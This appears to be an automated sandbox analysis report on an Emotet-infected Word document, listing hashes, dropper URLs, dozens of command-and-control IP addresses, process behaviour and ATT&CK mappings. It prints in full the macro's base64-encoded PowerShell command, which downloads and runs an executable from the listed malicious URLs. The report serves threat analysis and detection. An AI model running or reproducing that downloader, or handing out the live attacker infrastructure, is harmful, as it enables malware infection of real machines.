emotet | a6bf7c0ccbf14795a34485db9596b83c0d8abf85ceef10c71a3565cf7818593d

General

Target
emotet_e2_a6bf7c0ccbf14795a34485db9596b83c0d8abf85ceef10c71a3565cf7818593d_2020-08-17__130157._doc.doc
Size 229KB
Sample200817-ny11c11tr2
SHA256 a6bf7c0ccbf14795a34485db9596b83c0d8abf85ceef10c71a3565cf7818593d
MD5 aee2230eabd9ef814c018b4260609d45
SHA1 c7c9945159ff4aaa43f5829726e7052ad66dd024
SHA512 5215db757d38a0b66e0da98947cf26e61423bd995767e0af7ec01236c381d6f1b64e235eef81227fc0cf2e06379dcd198df19f35646ba5fbd4c6e88e881e7b74
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://poonamjoshi.com/wp-admin/pihy_fqz6_hadcsffl/
exe.dropper
http://promservice-plast.com/wp-content/ap_j_9lkio2/
exe.dropper
https://loveravista.saigoncitylands.com/wp-includes/t40_ey_5sefbwyrl/
exe.dropper
http://novahills-phanthiet.com/wp-admin/iz34_se_j21i/
exe.dropper
http://www.earthpath.com/EarthPath/tqli_b4_83vy/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
85.66.181.138:80
74.208.45.104:8080
109.116.214.124:443
95.179.229.244:8080
24.137.76.62:80
95.213.236.64:8080
113.160.130.116:8443
47.146.117.214:80
24.233.112.152:80
87.106.139.101:8080
89.186.91.200:443
91.211.88.52:7080
200.41.121.90:80
107.185.211.16:80
104.131.11.150:443
5.39.91.110:7080
62.138.26.28:8080
139.59.60.244:8080
168.235.67.138:7080
37.139.21.175:8080
174.102.48.180:80
2.58.16.85:7080
157.147.76.151:80
137.59.187.107:8080
103.86.49.11:8080
190.55.181.54:443
83.169.36.251:8080
5.196.74.210:8080
68.188.112.97:80
79.98.24.39:8080
104.236.246.93:8080
104.131.44.150:8080
169.239.182.217:8080
142.105.151.124:443
152.168.248.128:443
85.152.162.105:80
75.139.38.211:80
24.179.13.119:80
47.144.21.12:443
74.120.55.163:80
70.167.215.250:8080
190.160.53.126:80
78.24.219.147:8080
183.101.175.193:80
189.212.199.126:443
180.92.239.110:8080
157.245.99.39:8080
110.145.77.103:80
181.211.11.242:80
85.105.205.77:8080
41.60.200.34:80
139.130.242.43:80
37.70.8.161:80
199.101.86.142:8080
188.83.220.2:443
167.86.90.214:8080
81.2.235.111:8080
46.105.131.79:8080
185.94.252.104:443
87.106.136.232:8080
201.173.217.124:443
209.141.54.221:8080
222.214.218.37:4143
203.153.216.189:7080
203.117.253.142:80
72.12.127.184:443
24.43.99.75:80
61.19.246.238:443
204.197.146.48:80
62.75.141.82:80
116.203.32.252:8080
121.124.124.40:7080
176.111.60.55:8080
93.51.50.171:8080
97.82.79.83:80
109.74.5.95:8080
173.62.217.22:443
181.230.116.163:80
37.187.72.193:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	364	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2612-13-0x0000000002200000-0x000000000220C000-memory.dmp	emotet
behavioral2/memory/2612-13-0x0000000002200000-0x000000000220C000-memory.dmp	emotet
behavioral2/memory/1400-16-0x0000000002100000-0x000000000210C000-memory.dmp	emotet
behavioral2/memory/1400-16-0x0000000002100000-0x000000000210C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	1764	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2612	Prmi.exe
1400	Windows.Devices.Background.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\aspnet_counters\Windows.Devices.Background.exe	Prmi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2868	WINWORD.EXE
2868	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1764	powersheLL.exe
1764	powersheLL.exe
1764	powersheLL.exe
1400	Windows.Devices.Background.exe
1400	Windows.Devices.Background.exe
1400	Windows.Devices.Background.exe
1400	Windows.Devices.Background.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2868	WINWORD.EXE
2612	Prmi.exe
2612	Prmi.exe
1400	Windows.Devices.Background.exe
1400	Windows.Devices.Background.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 2612	1764	powersheLL.exe	71
PID 1764 wrote to memory of 2612	1764	powersheLL.exe	71
PID 1764 wrote to memory of 2612	1764	powersheLL.exe	71
PID 2612 wrote to memory of 1400	2612	Prmi.exe	73
PID 2612 wrote to memory of 1400	2612	Prmi.exe	73
PID 2612 wrote to memory of 1400	2612	Prmi.exe	73

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_a6bf7c0ccbf14795a34485db9596b83c0d8abf85ceef10c71a3565cf7818593d_2020-08-17__130157._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2868

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAHIAZQBnAGYAeQAxAD0AJwBOAHgAegBzAGsAZgBlACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBpAFQAYAB5AFAAUgBgAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAHEAZgBxADkAZABxACAAPQAgACcAUAByAG0AaQAnADsAJABSADIAZwBvAHAAeQA4AD0AJwBOADkAdgBvAG8AcgB5ACcAOwAkAFYANAAxAG4ANgBtAG0APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABIAHEAZgBxADkAZABxACsAJwAuAGUAeABlACcAOwAkAEsAYgBuAGYAYwBfADYAPQAnAFIANgBxAGYAbAB1ADMAJwA7ACQAQwA4AF8AZQAwAHAAZAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAQgBDAGwAaQBFAE4AVAA7ACQAUwAzAG8AaAA0AHoAbgA9ACcAaAB0AHQAcAA6AC8ALwBwAG8AbwBuAGEAbQBqAG8AcwBoAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAaQBoAHkAXwBmAHEAegA2AF8AaABhAGQAYwBzAGYAZgBsAC8AKgBoAHQAdABwADoALwAvAHAAcgBvAG0AcwBlAHIAdgBpAGMAZQAtAHAAbABhAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGEAcABfAGoAXwA5AGwAawBpAG8AMgAvACoAaAB0AHQAcABzADoALwAvAGwAbwB2AGUAcgBhAHYAaQBzAHQAYQAuAHMAYQBpAGcAbwBuAGMAaQB0AHkAbABhAG4AZABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0ADQAMABfAGUAeQBfADUAcwBlAGYAYgB3AHkAcgBsAC8AKgBoAHQAdABwADoALwAvAG4AbwB2AGEAaABpAGwAbABzAC0AcABoAGEAbgB0AGgAaQBlAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGkAegAzADQAXwBzAGUAXwBqADIAMQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AdABxAGwAaQBfAGIANABfADgAMwB2AHkALwAnAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFQAagA3AGEAawAyADMAPQAnAFQAbgBoAHYAYgBrAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANQBiAHAANQB0AGkAIABpAG4AIAAkAFMAMwBvAGgANAB6AG4AKQB7AHQAcgB5AHsAJABDADgAXwBlADAAcABkAC4AIgBkAG8AdwBgAE4AYABsAGAAbwBBAEQARgBpAGwARQAiACgAJABNADUAYgBwADUAdABpACwAIAAkAFYANAAxAG4ANgBtAG0AKQA7ACQATQAzAGgAeABlAGcAZQA9ACcAVwAwADEAdQBoADMAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYANAAxAG4ANgBtAG0AKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMwA3ADkAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgA0ADEAbgA2AG0AbQApADsAJABEAHgAZgB3AHgAYwB4AD0AJwBXAHAAMQAzAGsAaABvACcAOwBiAHIAZQBhAGsAOwAkAFEAeQB1AG4AZgBsAHcAPQAnAEUAZgBtAGEAaQBrAF8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBwADgAeAAwAGgANgA9ACcATwBuAGoAMgBvADgAdwAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Users\Admin\AppData\Local\Temp\Prmi.exe
  "C:\Users\Admin\AppData\Local\Temp\Prmi.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\SysWOW64\aspnet_counters\Windows.Devices.Background.exe
    "C:\Windows\SysWOW64\aspnet_counters\Windows.Devices.Background.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1400-16-0x0000000002100000-0x000000000210C000-memory.dmp

Download

memory/1764-8-0x000001E3EA5C0000-0x000001E3EA5C1000-memory.dmp

Download

memory/1764-7-0x00007FFD8C450000-0x00007FFD8CE3C000-memory.dmp

Download

memory/1764-9-0x000001E3EA910000-0x000001E3EA911000-memory.dmp

Download

memory/2612-13-0x0000000002200000-0x000000000220C000-memory.dmp

Download

memory/2868-6-0x000001F32723D000-0x000001F32725C000-memory.dmp

Download

memory/2868-0-0x00007FFD94470000-0x00007FFD94B36000-memory.dmp

Download

memory/2868-5-0x000001F329368000-0x000001F329370000-memory.dmp

Download

memory/2868-3-0x000001F329368000-0x000001F329370000-memory.dmp

Download

memory/2868-4-0x000001F329368000-0x000001F329370000-memory.dmp

Download

memory/2868-2-0x000001F329340000-0x000001F329343000-memory.dmp

Download

memory/2868-1-0x000001F32932F000-0x000001F329340000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads